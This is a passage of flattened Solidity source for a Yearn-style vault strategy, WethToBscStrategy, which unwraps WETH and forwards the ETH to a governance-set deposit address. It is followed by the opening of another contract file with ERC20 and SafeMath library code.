* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Part: iearn-finance/[email protected]/VaultAPI
interface VaultAPI is IERC20 {
function name() external view returns (string calldata);
function symbol() external view returns (string calldata);
function decimals() external view returns (uint256);
function apiVersion() external pure returns (string memory);
function permit(
address owner,
address spender,
uint256 amount,
uint256 expiry,
bytes calldata signature
) external returns (bool);
// NOTE: Vyper produces multiple signatures for a given function with "default" args
function deposit() external returns (uint256);
function deposit(uint256 amount) external returns (uint256);
function deposit(uint256 amount, address recipient) external returns (uint256);
// NOTE: Vyper produces multiple signatures for a given function with "default" args
function withdraw() external returns (uint256);
function withdraw(uint256 maxShares) external returns (uint256);
function withdraw(uint256 maxShares, address recipient) external returns (uint256);
function token() external view returns (address);
function strategies(address _strategy) external view returns (StrategyParams memory);
function pricePerShare() external view returns (uint256);
function totalAssets() external view returns (uint256);
function depositLimit() external view returns (uint256);
function maxAvailableShares() external view returns (uint256);
/**
* View how much the Vault would increase this Strategy's borrow limit,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function creditAvailable() external view returns (uint256);
/**
* View how much the Vault would like to pull back from the Strategy,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function debtOutstanding() external view returns (uint256);
/**
* View how much the Vault expect this Strategy to return at the current
* block, based on its present performance (since its last report). Can be
* used to determine expectedReturn in your Strategy.
*/
function expectedReturn() external view returns (uint256);
/**
* This is the main contact point where the Strategy interacts with the
* Vault. It is critical that this call is handled as intended by the
* Strategy. Therefore, this function will be called by BaseStrategy to
* make sure the integration is correct.
*/
function report(
uint256 _gain,
uint256 _loss,
uint256 _debtPayment
) external returns (uint256);
/**
* This function should only be used in the scenario where the Strategy is
* being retired but no migration of the positions are possible, or in the
* extreme scenario that the Strategy needs to be put into "Emergency Exit"
* mode in order for it to exit as quickly as possible. The latter scenario
* could be for any reason that is considered "critical" that the Strategy
* exits its position as fast as possible, such as a sudden change in
* market conditions leading to losses, or an imminent failure in an
* external dependency.
*/
function revokeStrategy() external;
/**
* View the governance address of the Vault to assert privileged functions
* can only be called by governance. The Strategy serves the Vault, so it
* is subject to governance defined by the Vault.
*/
function governance() external view returns (address);
/**
* View the management address of the Vault to assert privileged functions
* can only be called by management. The Strategy serves the Vault, so it
* is subject to management defined by the Vault.
*/
function management() external view returns (address);
/**
* View the guardian address of the Vault to assert privileged functions
* can only be called by guardian. The Strategy serves the Vault, so it
* is subject to guardian defined by the Vault.
*/
function guardian() external view returns (address);
}
// Part: iearn-finance/[email protected]/BaseStrategy
/**
* @title Yearn Base Strategy
* @author yearn.finance
* @notice
* BaseStrategy implements all of the required functionality to interoperate
* closely with the Vault contract. This contract should be inherited and the
* abstract methods implemented to adapt the Strategy to the particular needs
* it has to create a return.
*
* Of special interest is the relationship between `harvest()` and
* `vault.report()'. `harvest()` may be called simply because enough time has
* elapsed since the last report, and not because any funds need to be moved
* or positions adjusted. This is critical so that the Vault may maintain an
* accurate picture of the Strategy's performance. See `vault.report()`,
* `harvest()`, and `harvestTrigger()` for further details.
*/
abstract contract BaseStrategy {
using SafeMath for uint256;
using SafeERC20 for IERC20;
string public metadataURI;
/**
* @notice
* Used to track which version of `StrategyAPI` this Strategy
* implements.
* @dev The Strategy's version must match the Vault's `API_VERSION`.
* @return A string which holds the current API version of this contract.
*/
function apiVersion() public pure returns (string memory) {
return "0.3.5";
}
/**
* @notice This Strategy's name.
* @dev
* You can use this field to manage the "version" of this Strategy, e.g.
* `StrategySomethingOrOtherV1`. However, "API Version" is managed by
* `apiVersion()` function above.
* @return This Strategy's name.
*/
function name() external virtual view returns (string memory);
/**
* @notice
* The amount (priced in want) of the total assets managed by this strategy should not count
* towards Yearn's TVL calculations.
* @dev
* You can override this field to set it to a non-zero value if some of the assets of this
* Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault.
* Note that this value must be strictly less than or equal to the amount provided by
* `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets.
* Also note that this value is used to determine the total assets under management by this
* strategy, for the purposes of computing the management fee in `Vault`
* @return
* The amount of assets this strategy manages that should not be included in Yearn's Total Value
* Locked (TVL) calculation across it's ecosystem.
*/
function delegatedAssets() external virtual view returns (uint256) {
return 0;
}
VaultAPI public vault;
address public strategist;
address public rewards;
address public keeper;
IERC20 public want;
// So indexers can keep track of this
event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding);
event UpdatedStrategist(address newStrategist);
event UpdatedKeeper(address newKeeper);
event UpdatedRewards(address rewards);
event UpdatedMinReportDelay(uint256 delay);
event UpdatedMaxReportDelay(uint256 delay);
event UpdatedProfitFactor(uint256 profitFactor);
event UpdatedDebtThreshold(uint256 debtThreshold);
event EmergencyExitEnabled();
event UpdatedMetadataURI(string metadataURI);
// The minimum number of seconds between harvest calls. See
// `setMinReportDelay()` for more details.
uint256 public minReportDelay;
// The maximum number of seconds between harvest calls. See
// `setMaxReportDelay()` for more details.
uint256 public maxReportDelay;
// The minimum multiple that `callCost` must be above the credit/profit to
// be "justifiable". See `setProfitFactor()` for more details.
uint256 public profitFactor;
// Use this to adjust the threshold at which running a debt causes a
// harvest trigger. See `setDebtThreshold()` for more details.
uint256 public debtThreshold;
// See note on `setEmergencyExit()`.
bool public emergencyExit;
// modifiers
modifier onlyAuthorized() {
require(msg.sender == strategist || msg.sender == governance(), "!authorized");
_;
}
modifier onlyStrategist() {
require(msg.sender == strategist, "!strategist");
_;
}
modifier onlyGovernance() {
require(msg.sender == governance(), "!authorized");
_;
}
modifier onlyKeepers() {
require(
msg.sender == keeper ||
msg.sender == strategist ||
msg.sender == governance() ||
msg.sender == vault.guardian() ||
msg.sender == vault.management(),
"!authorized"
);
_;
}
constructor(address _vault) public {
_initialize(_vault, msg.sender, msg.sender, msg.sender);
}
/**
* @notice
* Initializes the Strategy, this is called only once, when the
* contract is deployed.
* @dev `_vault` should implement `VaultAPI`.
* @param _vault The address of the Vault responsible for this Strategy.
*/
function _initialize(
address _vault,
address _strategist,
address _rewards,
address _keeper
) internal {
require(address(want) == address(0), "Strategy already initialized");
vault = VaultAPI(_vault);
want = IERC20(vault.token());
want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas)
strategist = _strategist;
rewards = _rewards;
keeper = _keeper;
// initialize variables
minReportDelay = 0;
maxReportDelay = 86400;
profitFactor = 100;
debtThreshold = 0;
vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled
}
/**
* @notice
* Used to change `strategist`.
*
* This may only be called by governance or the existing strategist.
* @param _strategist The new address to assign as `strategist`.
*/
function setStrategist(address _strategist) external onlyAuthorized {
require(_strategist != address(0));
strategist = _strategist;
emit UpdatedStrategist(_strategist);
}
/**
* @notice
* Used to change `keeper`.
*
* `keeper` is the only address that may call `tend()` or `harvest()`,
* other than `governance()` or `strategist`. However, unlike
* `governance()` or `strategist`, `keeper` may *only* call `tend()`
* and `harvest()`, and no other authorized functions, following the
* principle of least privilege.
*
* This may only be called by governance or the strategist.
* @param _keeper The new address to assign as `keeper`.
*/
function setKeeper(address _keeper) external onlyAuthorized {
require(_keeper != address(0));
keeper = _keeper;
emit UpdatedKeeper(_keeper);
}
/**
* @notice
* Used to change `rewards`. EOA or smart contract which has the permission
* to pull rewards from the vault.
*
* This may only be called by the strategist.
* @param _rewards The address to use for pulling rewards.
*/
function setRewards(address _rewards) external onlyStrategist {
require(_rewards != address(0));
vault.approve(rewards, 0);
rewards = _rewards;
vault.approve(rewards, uint256(-1));
emit UpdatedRewards(_rewards);
}
/**
* @notice
* Used to change `minReportDelay`. `minReportDelay` is the minimum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the minimum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The minimum number of seconds to wait between harvests.
*/
function setMinReportDelay(uint256 _delay) external onlyAuthorized {
minReportDelay = _delay;
emit UpdatedMinReportDelay(_delay);
}
/**
* @notice
* Used to change `maxReportDelay`. `maxReportDelay` is the maximum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the maximum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The maximum number of seconds to wait between harvests.
*/
function setMaxReportDelay(uint256 _delay) external onlyAuthorized {
maxReportDelay = _delay;
emit UpdatedMaxReportDelay(_delay);
}
/**
* @notice
* Used to change `profitFactor`. `profitFactor` is used to determine
* if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _profitFactor A ratio to multiply anticipated
* `harvest()` gas cost against.
*/
function setProfitFactor(uint256 _profitFactor) external onlyAuthorized {
profitFactor = _profitFactor;
emit UpdatedProfitFactor(_profitFactor);
}
/**
* @notice
* Sets how far the Strategy can go into loss without a harvest and report
* being required.
*
* By default this is 0, meaning any losses would cause a harvest which
* will subsequently report the loss to the Vault for tracking. (See
* `harvestTrigger()` for more details.)
*
* This may only be called by governance or the strategist.
* @param _debtThreshold How big of a loss this Strategy may carry without
* being required to report to the Vault.
*/
function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized {
debtThreshold = _debtThreshold;
emit UpdatedDebtThreshold(_debtThreshold);
}
/**
* @notice
* Used to change `metadataURI`. `metadataURI` is used to store the URI
* of the file describing the strategy.
*
* This may only be called by governance or the strategist.
* @param _metadataURI The URI that describe the strategy.
*/
function setMetadataURI(string calldata _metadataURI) external onlyAuthorized {
metadataURI = _metadataURI;
emit UpdatedMetadataURI(_metadataURI);
}
/**
* Resolve governance address from Vault contract, used to make assertions
* on protected functions in the Strategy.
*/
function governance() internal view returns (address) {
return vault.governance();
}
/**
* @notice
* Provide an accurate estimate for the total amount of assets
* (principle + return) that this Strategy is currently managing,
* denominated in terms of `want` tokens.
*
* This total should be "realizable" e.g. the total value that could
* *actually* be obtained from this Strategy if it were to divest its
* entire position based on current on-chain conditions.
* @dev
* Care must be taken in using this function, since it relies on external
* systems, which could be manipulated by the attacker to give an inflated
* (or reduced) value produced by this function, based on current on-chain
* conditions (e.g. this function is possible to influence through
* flashloan attacks, oracle manipulations, or other DeFi attack
* mechanisms).
*
* It is up to governance to use this function to correctly order this
* Strategy relative to its peers in the withdrawal queue to minimize
* losses for the Vault based on sudden withdrawals. This value should be
* higher than the total debt of the Strategy and higher than its expected
* value to be "safe".
* @return The estimated total assets in this Strategy.
*/
function estimatedTotalAssets() public virtual view returns (uint256);
/*
* @notice
* Provide an indication of whether this strategy is currently "active"
* in that it is managing an active position, or will manage a position in
* the future. This should correlate to `harvest()` activity, so that Harvest
* events can be tracked externally by indexing agents.
* @return True if the strategy is actively managing a position.
*/
function isActive() public view returns (bool) {
return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0;
}
/**
* Perform any Strategy unwinding or other calls necessary to capture the
* "free return" this Strategy has generated since the last time its core
* position(s) were adjusted. Examples include unwrapping extra rewards.
* This call is only used during "normal operation" of a Strategy, and
* should be optimized to minimize losses as much as possible.
*
* This method returns any realized profits and/or realized losses
* incurred, and should return the total amounts of profits/losses/debt
* payments (in `want` tokens) for the Vault's accounting (e.g.
* `want.balanceOf(this) >= _debtPayment + _profit - _loss`).
*
* `_debtOutstanding` will be 0 if the Strategy is not past the configured
* debt limit, otherwise its value will be how far past the debt limit
* the Strategy is. The Strategy's debt limit is configured in the Vault.
*
* NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`.
* It is okay for it to be less than `_debtOutstanding`, as that
* should only used as a guide for how much is left to pay back.
* Payments should be made to minimize loss from slippage, debt,
* withdrawal fees, etc.
*
* See `vault.debtOutstanding()`.
*/
function prepareReturn(uint256 _debtOutstanding)
internal
virtual
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
);
/**
* Perform any adjustments to the core position(s) of this Strategy given
* what change the Vault made in the "investable capital" available to the
* Strategy. Note that all "free capital" in the Strategy after the report
* was made is available for reinvestment. Also note that this number
* could be 0, and you should handle that scenario accordingly.
*
* See comments regarding `_debtOutstanding` on `prepareReturn()`.
*/
function adjustPosition(uint256 _debtOutstanding) internal virtual;
/**
* Liquidate up to `_amountNeeded` of `want` of this strategy's positions,
* irregardless of slippage. Any excess will be re-invested with `adjustPosition()`.
* This function should return the amount of `want` tokens made available by the
* liquidation. If there is a difference between them, `_loss` indicates whether the
* difference is due to a realized loss, or if there is some other sitution at play
* (e.g. locked funds) where the amount made available is less than what is needed.
* This function is used during emergency exit instead of `prepareReturn()` to
* liquidate all of the Strategy's positions back to the Vault.
*
* NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained
*/
function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss);
/**
* @notice
* Provide a signal to the keeper that `tend()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `tend()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `tend()` is not called
* shortly, then this can return `true` even if the keeper might be
* "at a loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCost` must be priced in terms of `want`.
*
* This call and `harvestTrigger()` should never return `true` at the same
* time.
* @param callCost The keeper's estimated cast cost to call `tend()`.
* @return `true` if `tend()` should be called, `false` otherwise.
*/
function tendTrigger(uint256 callCost) public virtual view returns (bool) {
// We usually don't need tend, but if there are positions that need
// active maintainence, overriding this function is how you would
// signal for that.
return false;
}
/**
* @notice
* Adjust the Strategy's position. The purpose of tending isn't to
* realize gains, but to maximize yield by reinvesting any returns.
*
* See comments on `adjustPosition()`.
*
* This may only be called by governance, the strategist, or the keeper.
*/
function tend() external onlyKeepers {
// Don't take profits with this call, but adjust for better gains
adjustPosition(vault.debtOutstanding());
}
/**
* @notice
* Provide a signal to the keeper that `harvest()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `harvest()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `harvest()` is not called
* shortly, then this can return `true` even if the keeper might be "at a
* loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCost` must be priced in terms of `want`.
*
* This call and `tendTrigger` should never return `true` at the
* same time.
*
* See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the
* strategist-controlled parameters that will influence whether this call
* returns `true` or not. These parameters will be used in conjunction
* with the parameters reported to the Vault (see `params`) to determine
* if calling `harvest()` is merited.
*
* It is expected that an external system will check `harvestTrigger()`.
* This could be a script run off a desktop or cloud bot (e.g.
* https://github.com/iearn-finance/yearn-vaults/blob/master/scripts/keep.py),
* or via an integration with the Keep3r network (e.g.
* https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol).
* @param callCost The keeper's estimated cast cost to call `harvest()`.
* @return `true` if `harvest()` should be called, `false` otherwise.
*/
function harvestTrigger(uint256 callCost) public virtual view returns (bool) {
StrategyParams memory params = vault.strategies(address(this));
// Should not trigger if Strategy is not activated
if (params.activation == 0) return false;
// Should not trigger if we haven't waited long enough since previous harvest
if (block.timestamp.sub(params.lastReport) < minReportDelay) return false;
// Should trigger if hasn't been called in a while
if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true;
// If some amount is owed, pay it back
// NOTE: Since debt is based on deposits, it makes sense to guard against large
// changes to the value from triggering a harvest directly through user
// behavior. This should ensure reasonable resistance to manipulation
// from user-initiated withdrawals as the outstanding debt fluctuates.
uint256 outstanding = vault.debtOutstanding();
if (outstanding > debtThreshold) return true;
// Check for profits and losses
uint256 total = estimatedTotalAssets();
// Trigger if we have a loss to report
if (total.add(debtThreshold) < params.totalDebt) return true;
uint256 profit = 0;
if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit!
// Otherwise, only trigger if it "makes sense" economically (gas cost
// is <N% of value moved)
uint256 credit = vault.creditAvailable();
return (profitFactor.mul(callCost) < credit.add(profit));
}
/**
* @notice
* Harvests the Strategy, recognizing any profits or losses and adjusting
* the Strategy's position.
*
* In the rare case the Strategy is in emergency shutdown, this will exit
* the Strategy's position.
*
* This may only be called by governance, the strategist, or the keeper.
* @dev
* When `harvest()` is called, the Strategy reports to the Vault (via
* `vault.report()`), so in some cases `harvest()` must be called in order
* to take in profits, to borrow newly available funds from the Vault, or
* otherwise adjust its position. In other cases `harvest()` must be
* called to report to the Vault on the Strategy's position, especially if
* any losses have occurred.
*/
function harvest() external onlyKeepers {
uint256 profit = 0;
uint256 loss = 0;
uint256 debtOutstanding = vault.debtOutstanding();
uint256 debtPayment = 0;
if (emergencyExit) {
// Free up as much capital as possible
uint256 totalAssets = estimatedTotalAssets();
// NOTE: use the larger of total assets or debt outstanding to book losses properly
(debtPayment, loss) = liquidatePosition(totalAssets > debtOutstanding ? totalAssets : debtOutstanding);
// NOTE: take up any remainder here as profit
if (debtPayment > debtOutstanding) {
profit = debtPayment.sub(debtOutstanding);
debtPayment = debtOutstanding;
}
} else {
// Free up returns for Vault to pull
(profit, loss, debtPayment) = prepareReturn(debtOutstanding);
}
// Allow Vault to take up to the "harvested" balance of this contract,
// which is the amount it has earned since the last time it reported to
// the Vault.
debtOutstanding = vault.report(profit, loss, debtPayment);
// Check if free returns are left, and re-invest them
adjustPosition(debtOutstanding);
emit Harvested(profit, loss, debtPayment, debtOutstanding);
}
/**
* @notice
* Withdraws `_amountNeeded` to `vault`.
*
* This may only be called by the Vault.
* @param _amountNeeded How much `want` to withdraw.
* @return _loss Any realized losses
*/
function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) {
require(msg.sender == address(vault), "!vault");
// Liquidate as much as possible to `want`, up to `_amountNeeded`
uint256 amountFreed;
(amountFreed, _loss) = liquidatePosition(_amountNeeded);
// Send it directly back (NOTE: Using `msg.sender` saves some gas here)
want.safeTransfer(msg.sender, amountFreed);
// NOTE: Reinvest anything leftover on next `tend`/`harvest`
}
/**
* Do anything necessary to prepare this Strategy for migration, such as
* transferring any reserve or LP tokens, CDPs, or other tokens or stores of
* value.
*/
function prepareMigration(address _newStrategy) internal virtual;
/**
* @notice
* Transfers all `want` from this Strategy to `_newStrategy`.
*
* This may only be called by governance or the Vault.
* @dev
* The new Strategy's Vault must be the same as this Strategy's Vault.
* @param _newStrategy The Strategy to migrate to.
*/
function migrate(address _newStrategy) external {
require(msg.sender == address(vault) || msg.sender == governance());
require(BaseStrategy(_newStrategy).vault() == vault);
prepareMigration(_newStrategy);
want.safeTransfer(_newStrategy, want.balanceOf(address(this)));
}
/**
* @notice
* Activates emergency exit. Once activated, the Strategy will exit its
* position upon the next harvest, depositing all funds into the Vault as
* quickly as is reasonable given on-chain conditions.
*
* This may only be called by governance or the strategist.
* @dev
* See `vault.setEmergencyShutdown()` and `harvest()` for further details.
*/
function setEmergencyExit() external onlyAuthorized {
emergencyExit = true;
vault.revokeStrategy();
emit EmergencyExitEnabled();
}
/**
* Override this to add all tokens/tokenized positions this contract
* manages on a *persistent* basis (e.g. not just for swapping back to
* want ephemerally).
*
* NOTE: Do *not* include `want`, already included in `sweep` below.
*
* Example:
*
* function protectedTokens() internal override view returns (address[] memory) {
* address[] memory protected = new address[](3);
* protected[0] = tokenA;
* protected[1] = tokenB;
* protected[2] = tokenC;
* return protected;
* }
*/
function protectedTokens() internal virtual view returns (address[] memory);
/**
* @notice
* Removes tokens from this Strategy that are not the type of tokens
* managed by this Strategy. This may be used in case of accidentally
* sending the wrong kind of token to this Strategy.
*
* Tokens will be sent to `governance()`.
*
* This will fail if an attempt is made to sweep `want`, or any tokens
* that are protected by this Strategy.
*
* This may only be called by governance.
* @dev
* Implement `protectedTokens()` to specify any additional tokens that
* should be protected from sweeping in addition to `want`.
* @param _token The token to transfer out of this vault.
*/
function sweep(address _token) external onlyGovernance {
require(_token != address(want), "!want");
require(_token != address(vault), "!shares");
address[] memory _protectedTokens = protectedTokens();
for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected");
IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this)));
}
}
// File: WethToBscStrategy.sol
contract WethToBscStrategy is BaseStrategy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public ethDepositToBsc =
address(0x13B432914A996b0A48695dF9B2d701edA45FF264);
constructor(address _vault) public BaseStrategy(_vault) {}
function setEthDepositAddress(address _ethDepositToBsc)
external
onlyGovernance
{
ethDepositToBsc = _ethDepositToBsc;
}
function name() external view override returns (string memory) {
return "WethToBscStrategy";
}
function estimatedTotalAssets() public view override returns (uint256) {
return want.balanceOf(address(this));
}
function prepareReturn(uint256 _debtOutstanding)
internal
override
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
)
{
// If we got eth back from the proxy, let's convert to weth
if (address(this).balance > 0) {
IWETH(address(want)).deposit{value: address(this).balance}();
}
uint256 debt = vault.strategies(address(this)).totalDebt;
uint256 wantBalance = balanceOfWant();
// Set profit or loss based on the initial debt
if (debt <= wantBalance) {
_profit = wantBalance - debt;
} else {
_loss = debt - wantBalance;
}
// Repay debt. Amount will depend if we had profit or loss
if (_debtOutstanding > 0) {
if (_profit >= 0) {
_debtPayment = Math.min(
_debtOutstanding,
wantBalance.sub(_profit)
);
} else {
_debtPayment = Math.min(
_debtOutstanding,
wantBalance.sub(_loss)
);
}
}
}
function adjustPosition(uint256 _debtOutstanding) internal override {
if (emergencyExit) {
return;
}
uint256 balance = balanceOfWant();
if (_debtOutstanding >= balance) {
return;
}
IWETH(address(want)).withdraw(balanceOfWant());
payable(ethDepositToBsc).transfer(address(this).balance);
}
function liquidatePosition(uint256 _amountNeeded)
internal
override
returns (uint256 _liquidatedAmount, uint256 _loss)
{
uint256 totalAssets = want.balanceOf(address(this));
if (_amountNeeded > totalAssets) {
_liquidatedAmount = totalAssets;
_loss = _amountNeeded.sub(totalAssets);
} else {
_liquidatedAmount = _amountNeeded;
}
}
function balanceOfWant() public view returns (uint256) {
return IERC20(want).balanceOf(address(this));
}
function prepareMigration(address _newStrategy) internal override {}
function protectedTokens()
internal
view
override
returns (address[] memory)
{}
receive() external payable {}
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/**
*Submitted for verification at Etherscan.io on 2021-05-04
*/
pragma solidity >=0.7.2;
pragma experimental ABIEncoderV2;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
//
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
